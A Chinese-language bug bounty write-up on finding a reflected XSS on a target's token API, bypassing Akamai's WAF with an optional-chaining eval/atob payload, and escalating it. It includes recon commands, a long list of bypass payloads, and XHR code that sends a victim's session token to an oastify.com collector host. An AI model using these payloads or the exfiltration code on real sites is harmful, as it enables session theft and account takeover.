一个赏金项目的XSS记录

记录一下最近遇到的一个XSS以及尝试升级XSS漏洞的过程。

怎么找到的

在hackerone项目里找到一个目标,*.target.com。

爆破以及侦察域名,轻车熟路,建议用shell命令集成好

1
2
3
4
5
6
7
8
9
rm subs

subfinder -dL $1 -o subs

cat $1 | assetfinder --subs-only >> subs

amass enum --passive -df $1 -o subs

cat subs | sort -u | httpx -t 100 > subhttpx

这样我们就得到了一些域名,可以通过HTTPX查看域名状态,大概心里有个数。

1
2
cat subhttpx | httpx -td -ip -sc -t 100

习惯先用waybackurls,看一下历史数据

1
2
3
echo target.com | waybackurls > back

cat back | less

如果喜欢在浏览器上看,可以用

1
https://web.archive.org/cdx/search/cdx?url=target.com/*&output=text&fl=original&collapse=urlkey&from=

用grep筛选一下敏感的后缀名,或者urinteresting

1
log 、 txt 、 conf 、 cnf 、 ini 、 env 、 sh 、 bak 、 backup 、 swp 、 old 、 ~ 、 git 、 svn 、 htpasswd 、 htaccess 、 php 、 jsp 、 jspx 、 asp 、 aspx 、 do 、 action 、 pl 、 cfm 、 py 、 rb

在筛选出来的数据里,我找到了一个success.jsp的文件,Get参数里有TargetUrl,这里可能有会问题。

TargetUrl结合success.jsp,猜测是成功登录或者成功执行后转去的URL地址。一般有可能用dom跳转或者JS跳转。使用window.locaiton.href跳转比较常见。

尝试Dom XSS

  1. 直接修改targetUrl的值变成,javascript:alert(),发现Waf被拦了。
  2. 修改成随机数,看前端有没有函数处理TargetUrl参数,打上断点,没有发现有函数处理,没有发现使用Dom直接跳转。

看看反射

  1. 修改成随机数之后,发包,发现返回包变成429 Too Many Request,不对劲。
  2. 把之前的参数留着,在原有参数上,加上随机数,返回包正常,在返回包中发现我们的随机数在javscript的location.href的变量里,用双引号包裹。

  1. 抱着试一试的心态,使用双引号尝试闭合变量,发现成功了,意味着我们可以直接执行javscript,一个标准的反射XSS。

绕 Akamai WAF

在这个场景下,我们有很多种执行JavaScript代码的选择。

  1. 我闭合这个变量,直接执行JavaScript代码,并闭合后面的双引号。
  2. 在这个变量下,直接使用表达式。我们可以使用运算符(+、-、*、/)等等,对这个变量的值进行运算,运算的同时可以执行我们的表达式。

我选择闭合变量,直接执行javascript代码。那么我们注入的代码应该类似是

1
";alert();var a="

不出所料,被Akamai拦截。

凭我多年对抗Waf的经验,以及编写雷池Waf检测逻辑的经验,prompt和comfirm一定是用不了的。
我们需要找到一些新颖的表达式,同时符合JavaScript语法,又同时能过Waf。

靠记忆是很难一下子绕过的,看看之前存下来的常规payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
confirm()
confirm``
(confirm``)
{confirm``}
[confirm``]
(((confirm)))``
co\u006efirm()
new class extends confirm``{}
[8].find(confirm)
[8].map(confirm)
[8].some(confirm)
[8].every(confirm)
[8].filter(confirm)
[8].findIndex(confirm)
window['alert'](0)
parent['alert'](1)
self['alert'](2)
top['alert'](3)
this['alert'](4)
frames['alert'](5)
content['alert'](6)
[7].map(alert)
[8].find(alert)
[9].every(alert)
[10].filter(alert)
[11].findIndex(alert)
[12].forEach(alert);

又全军覆没了。

绕过Waf的方式有两种,一种是通过对抗检测XSS的检测逻辑,不管是语义还是正则。一种是从它本身的协议解析入手。

拓展一下我对协议解析绕Waf的理解

我们知道,一个完整的请求到达检测引擎之后,检测引擎想检测必然要把参数的Key和Value分开来,Get参数是通过 & 符合进行分隔开的。假如我们能构造一个payload,使得协议解析时对Get参数的分离产生错误,那么检测Payload的分离它也就是错误的。

来看一个例子,它曾经能绕过Akamai的Waf

1
2
<body x='&'onload="(alert)('citrix akamai bypass')">

在协议解析绕过Waf的空间大很多,只要你有充足的想象力。

对抗XSS检测逻辑

回到原点,此payload对于我们来说用处不大,因为我们无法闭合标签并生成新的标签。

我打算从self对象入手,self返回的对象跟window对象是一模一样的,window对象的常用方法和函数都可以用self代替window,因此self可以直接调用eval函数,当然eval函数比alert、prompt弹窗函数更危险。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
";self["eval"](alert());var a="
拦截

";self["ev"+"al"](alert());var a="
拦截

";window["ev"+"al"](alert());var a="
拦截

";self[/ev/.source+"al"](alert());var a="
拦截

";self[/ev/.source+"al"](window[alert()]);var a="
拦截

";self[/ev/.source+"al"](window[alert()]);var a="
拦截

";self[/ev/.source+"al"](window['atob']('YWxlcnQoKQ=='));var a="
拦截

";self[/ev/.source+"al"](window['atob']('YWxlcn'+'QoKQ=='));var a="
拦截

";self[/ev/.source+"al"](window[/at/.source+'ob']('YWxlcn'+'QoKQ=='));var a="
拦截

截取了几个经典的有思路的例子,都被拦截了,期间也换过很多Dom对象,都没有用。

该去看一点新鲜的Javascript表达式了。
[https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference]

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
逻辑空赋值运算符(x ??= y)仅在 x 是空值(null 或 undefined)时对其赋值。

";var a=null;a??=self["ev"+"al"](alert());a="
拦截

";var a=null;a??=self[/ev/.source+"al"](window[/at/.source+'ob']('YWxlcn'+'QoKQ=='));var a="
拦截


空值合并运算符(??)是一个逻辑运算符,当左侧的操作数为 null 或者 undefined 时,返回其右侧操作数,否则返回左侧操作数。

";const foo = null ?? self[/ev/.source+"al"](window['atob']('YWxlcn'+'QoKQ=='));var a="
拦截


可选链运算符(?.)允许读取位于连接对象链深处的属性的值,而不必明确验证链中的每个引用是否有效。?. 运算符的功能类似于 . 链式运算符,不同之处在于,在引用为空 (nullish ) (null 或者 undefined) 的情况下不会引起错误,该表达式短路返回值是 undefined。与函数调用一起使用时,如果给定的函数不存在,则返回 undefined。

";self?.[/ev/.source+"al"](alert());var a="
拦截

";self?.[/ev/.source+"al"](window?.[/at/.source+'ob']('YWxlcn'+'QoKQ=='));var a="
成功

最终Payload,Akamai倒在了 可选链运算符(?.)。

不仅如此,我们不仅能执行弹窗函数,我们可以执行任意的JavaScript代码。

在赏金项目中,我常常不满足发现XSS后,只对它进行弹窗函数,我认为这是对XSS的不尊重,它明明可以实现更大的威力,只是我们小瞧了它。在hackerone和bugcrowd的项目中,反射XSS如果没有特殊情况,一般是中危。下一步我们尝试把它升级成高危。

升级反射XSS

上文没有提到,出现XSS的域名非常有意思,它的全称是

1
https://auth.api.target.com

相信很多人都能看出来它的作用,是用来获取TOKEN的API。

获取COOKIE

寻找它的登录网站,看看是哪个登录网站调用了这个API,运气很好,是用户个人登录平台,谁都可以注册账号并登录。它的域名是

1
https://id.target.com

注册登录后,打开浏览器控制台,发现主要的Token都有HTTP-ONLY的保护,意味着我们不能通过document.cookie拿走用户的TOKEN并登录。

XSS+CSRF 组合

既然不能直接拿用户Token,想升级成高危,就必须对敏感的API用CSRF进行操作。

常见的敏感操作有 删除账户,修改密码,修改手机号,修改邮箱等等。

非常幸运的是,此域名获取的TOKEN全部是通过 https://auth.api.target.com 来获取,那意味着我们不会面临跨域的问题,所有的COOKIE都会随着XSS的发送去自动发送。

我找到了一个API,它的作用是获取一个新的TOKEN,所需的用户权限完全在COOKIE中,意味着我可以发送一个请求,再把返回包发到自己的域名,这样就完成了窃取Token的效果。

我写了以下的JavaScript代码

1
2
3
4
5
6
7
8
9
10
11
12
var xhr = new XMLHttpRequest();
xhr.open("POST", '/v2/token', false);
xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhr.withCredentials = true;
xhr.onload = function () {
var x = new XMLHttpRequest();
x.open("GET", 'https://ro22mp37i96d22zup2zesivhm8szgq4f.oastify.com/?a='+encodeURIComponent(xhr.responseText), false);
x.send(null);
alert("over");

};
xhr.send("type=sso_cookie&client=72a7bea8-f31a-47d9-a604-2e71dee24ee0");

我把这段JavaScript代码全部Base64编码,填充到XSS Payload中,访问链接。

如愿以偿,我得到了返回包的payload。

但是在代码中的alert(“over”)却不会被执行,因为涉及到了跨域,但这不影响请求包的发送。

接下来问题来了,我本以为这个域名完全没有csrf Token的保护,但现实是,在POST请求参数中,有一个参数是client,它的形式是uuid,完全不可猜测。

在我接下来的测试过程中发现,它和用户强绑定,没有它不行。这意味着我无法获取到一个未知用户的Token,因为我不知道用户的client id。

逆向(Client id 从哪来?)

Client id 从哪来?只有一种情况,从后端发过来的,因为它和用户强绑定,且在很多API中,没有发生改变,证明和时间戳也没有关系。

由于我在测试过程中,一直打开Burpsuite进行抓包,于是我可以很轻松的找到发送Client id的全部请求包和返回包,在History标签页,搜索72a7bea8-f31a-47d9-a604-2e71dee24ee0,惊人的发现,在所有的返回包中,没有找到72a7bea8-f31a-47d9-a604-2e71dee24ee0,只有在请求包里存在。

没有办法,只能进行逆向。看看到底是如何生成的。

在浏览器进行断点

刷新浏览器,使用过这个API的所有变量和堆栈都清晰可见。

跟着堆栈一直找,找到了生成client的生成算法

经过调试发现 e 是一串固定的字符串。

我于是在Burpsuite中搜寻这串字符串,发现在https://id.target.com 的某一个JS文件中,问题解决了。

我只要去访问 https://id.target.com 用正则匹配这串字符串,紧接下来再自己生成ID就好了。

问题就在于,这样就涉及到了跨域问题。如果在https://id.target.com 没有配置跨域,那么我们无论如何也拿不到 https://id.target.com 的返回包。

幸运的是可以进行跨域并读取,接下来就是常规操作了。

遇到的问题和难点

在第一次进行xhr请求时,由于我们注入的点在location.href上,浏览器会自动跳转,而我设置的JavaScript请求是异步的,也就是

1
xhr.open("POST", '/v2/token', true);

导致没有返回包就结束了,火狐会爆出NO_BINGED_ABORTED的错误,百思不得其解,后来才设置为同步。